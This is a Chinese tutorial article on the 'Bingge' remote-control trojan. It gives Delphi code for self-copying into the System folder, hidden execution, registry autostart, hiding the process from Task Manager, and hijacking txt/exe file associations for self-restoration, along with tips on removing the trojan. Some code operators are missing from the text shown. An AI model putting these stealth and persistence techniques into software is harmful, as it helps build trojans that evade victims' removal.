冰河”啟示錄
發(fā)布日期:2021-12-24 01:22 | 文章來源:站長之家
冰河”啟示錄 作者: 陳經(jīng)韜 :我經(jīng)常在雜志和報(bào)刊上看到此類標(biāo)題的文章,但大多是騙稿費(fèi)的,沒有任何技術(shù)含量.于是一氣之下寫了這編東西.本人聲明如下:(一)本人對"冰河"及其作者沒有任何不滿,相反,作者肯幫助初學(xué)者的態(tài)度是我們每一個(gè)人都應(yīng)該學(xué)習(xí)的.(二)本文的目的在于交流編程經(jīng)驗(yàn),沒有任何其它不良企圖.(三)在一些領(lǐng)域,我們理應(yīng)寧可自制力讓我們的預(yù)見力保持寂寞,也不要去做一個(gè)打開潘多拉盒子的先知。所以一些更厲害的方法我們現(xiàn)在不會提,以后也不會 (1) “冰河”是有名的用C Builder編寫的國產(chǎn)遠(yuǎn)程管理軟件,其自我的功能保護(hù)很強(qiáng),下面就以Delphi為例談一談它的原理,希望對大家有一些啟發(fā). 一、程序安裝 此類程序一般會把自己隱藏起來運(yùn)行,通常不外乎以下幾種方法:自我拷貝法、資源文件法、網(wǎng)頁方式安裝、類病毒捆綁法(如YAI).自我拷貝法適用于本身就一個(gè)文件,資源文件法可以同時(shí)安裝好幾個(gè)文件,網(wǎng)頁方式安裝要先向M$交錢換安全簽證,類病毒捆綁法利用了病毒的原理.本文只介紹自我拷貝法,其它方法請到我的個(gè)人主頁去看.http://lovejingtao.126.com 1:自我拷貝法 這種方法的原理是程序運(yùn)行時(shí)先查看自己是不是在特定目錄下,如果是就繼續(xù)運(yùn)行,如果不是就把自己拷貝到特定目錄下,然后運(yùn)行新程序,再退出舊程序. 打開Delphi,新建一個(gè)工程,在窗口的Create事件中寫代碼: procedure TFORM1.FORMCreate(Sender: TObject); var myname: string; begin myname := ExtractFilename(Application.Exename); //獲得文件名 if application.Exename < > GetWindirmyname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindirmyname), False);{將自己拷貝到Windows\System\下} Winexec(pchar(GetWindirmyname), sw_hide);//運(yùn)行Windows\System\下的新文件 application.Terminate;//退出 end; end; 其中GetWinDir是自定義函數(shù),起功能是找出Windows\System\的路徑. function GetWinDir: String; var Buf: array[0..MAX_PATH] of char; begin GetSystemDirectory(Buf, MAX_PATH); Result := Buf; if Result[Length(Result)]< > '\' then Result := Result'\'; end; 另外,為了避免同時(shí)運(yùn)行多個(gè)程序的副本(節(jié)約系統(tǒng)資源也),程序一般會弄成每次只能運(yùn)行一個(gè).這又有幾種方法. 一種方法是程序運(yùn)行時(shí)先查找有沒有相同的運(yùn)行了,如果有,就立刻退出程序. 修改dpr項(xiàng)目文件,修改begin和end之間的代碼如下: begin Application.Initialize; if FindWindow('TFORM1','FORM1')=0 then begin //當(dāng)沒有找到FORM1時(shí)執(zhí)行下面代碼 Application.ShowMainFORM:=False; //不顯示主窗口 Application.CreateFORM(TFORM1, FORM1); Application.Run; end; end. 另一種方法是啟動(dòng)時(shí)會先通過窗口名來確定是否已經(jīng)在運(yùn)行,如果是則關(guān)閉原先的再啟動(dòng)?!氨印本褪怯眠@種方法的。 這樣做的好處在于方便升級.它會自動(dòng)用新版本覆蓋舊版本. 方法如下:修改dpr項(xiàng)目文件 uses FORMs,windows,messages, Unit1 in 'Unit1.pas' {FORM1}; 為了程序能在Windows每次啟動(dòng)時(shí)自動(dòng)運(yùn)行,可以通過六種途徑來實(shí)現(xiàn).“冰河”用注冊表的方式。 加入Registry單元,改寫上面的窗口Create事件,改寫后的程序如下: procedure TFORM1.FORMCreate(Sender: TObject); const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; var myname: string; begin {Write by Lovejingtao,http://Lovejingtao.126.com,Lovejingtao@21cn.com} myname := ExtractFilename(Application.Exename); //獲得文件名 if application.Exename < > GetWindirmyname then //如果文件不是在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindirmyname), False);{//將自己拷貝到Windows\System\下} Winexec(pchar(GetWindirmyname), sw_hide);//運(yùn)行Windows\System\下的新文件 application.Terminate;//退出 end; with TRegistry.Create do try RootKey := HKEY_LOCAL_MACHINE; OpenKey( K, TRUE ); WriteString( 'syspler', application.ExeName ); finally free; end; end; 為了讓程序用ALT DEL CTRL看不見,在implementation后添加聲明: function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'; 再在上面的窗口Create事件加上一句:RegisterServiceProcess(GetCurrentProcessID, 1);//隱藏 啟示1:當(dāng)我們中了“冰河”,如果被對方上了密碼而無法自己卸載時(shí),可以先找出是什么文件,然后自己配置一個(gè)沒有密碼的來運(yùn)行,這樣它就會把原來有密碼的覆蓋掉,自己就可以輕松用它的卸載功能把它卸掉.如果你會編程,也可以自己寫一個(gè)"清除器"了,方法是先查找到窗口名,向它發(fā)送退出命令,再把它刪除即可. (2) “冰河”的自我功能保護(hù)很強(qiáng),它一般通過Txt或Exe文件關(guān)聯(lián)來達(dá)到自我恢復(fù).所以有很多人明明把它殺掉了,但重新啟動(dòng)時(shí)又會出現(xiàn).下面舉以Txt文件關(guān)聯(lián)為例. 打開Delphi,新建一個(gè)工程,在窗口的Create事件中寫代碼: uses Registry procedure TFORM1.FORMCreate(Sender: TObject); const Kkk = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; const K = '\txtfile\shell\open\command'; var sFileName:string; begin //****************************************************** with TRegistry.Create do //寫注冊表,讓程序跟文本文件關(guān)聯(lián) try RootKey := HKEY_CLASSES_ROOT; OpenKey( K, TRUE ); {Write by Lovejingtao,http://lovejingtao.126.com} WriteString( '', application.ExeName ' "%1" '); {Write by Lovejingtao,lovejingtao@21cn.com} finally free; end; //******************************************************* with TRegistry.Create do //寫注冊表,每次啟動(dòng)時(shí)自動(dòng)運(yùn)行 try RootKey := HKEY_LOCAL_MACHINE; OpenKey( Kkk, TRUE ); WriteString( 'myTray', application.ExeName ); finally free; end; //******************************************************** if FileExists(pchar(Getwindir 'Sysplay.exe'))=false then//如果文件已經(jīng)刪除 begin copyfile;//自定義拷貝資源文件過程 winexec(pchar(Getwindir 'Sysplay.exe'),sw_hide); end; //********************************************************** if ParamCount> 0 then begin (* 有執(zhí)行參數(shù)傳入 *) sFileName:=ParamStr(1); (* 取得參數(shù)內(nèi)容 *) winexec(pchar('Notepad.exe ' sFileName),sw_show);(*用記事本打開*) //winexec(pchar( sFileName),sw_show); end; //******************************************************* application.Terminate;//退出 end; 如果要改為與Exe文件關(guān)聯(lián),只要把"const K = '\txtfile\shell\open\command';"改為 "const K = '\exefile\shell\open\command';",把"winexec(pchar('Notepad.exe ' sFileName),sw_show);" 改為"winexec(pchar( sFileName),sw_show);"即可.當(dāng)然,還要加入是否退出Windows而運(yùn)行的Rundll32.dll, 否則會因?yàn)殛P(guān)聯(lián)Exe文件而退不出Windows. 啟示2:手工刪除“冰河”時(shí),還要改掉它的保護(hù)功能,不能讓它恢復(fù).如果是關(guān)聯(lián)了文本文件,先改注冊表讓它不能自動(dòng)運(yùn)行,重啟后不要打開文本文件,立刻進(jìn)到其安裝目錄把它刪除.如果是關(guān)聯(lián)了Exe文件,那只有回到Dos下刪.切記:一定要把兩個(gè)文件同時(shí)刪掉,否則你重啟后會發(fā)現(xiàn)文件又恢復(fù)了.
版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場,如有內(nèi)容涉嫌侵權(quán),請聯(lián)系alex-e#qq.com處理。
相關(guān)文章
下一篇: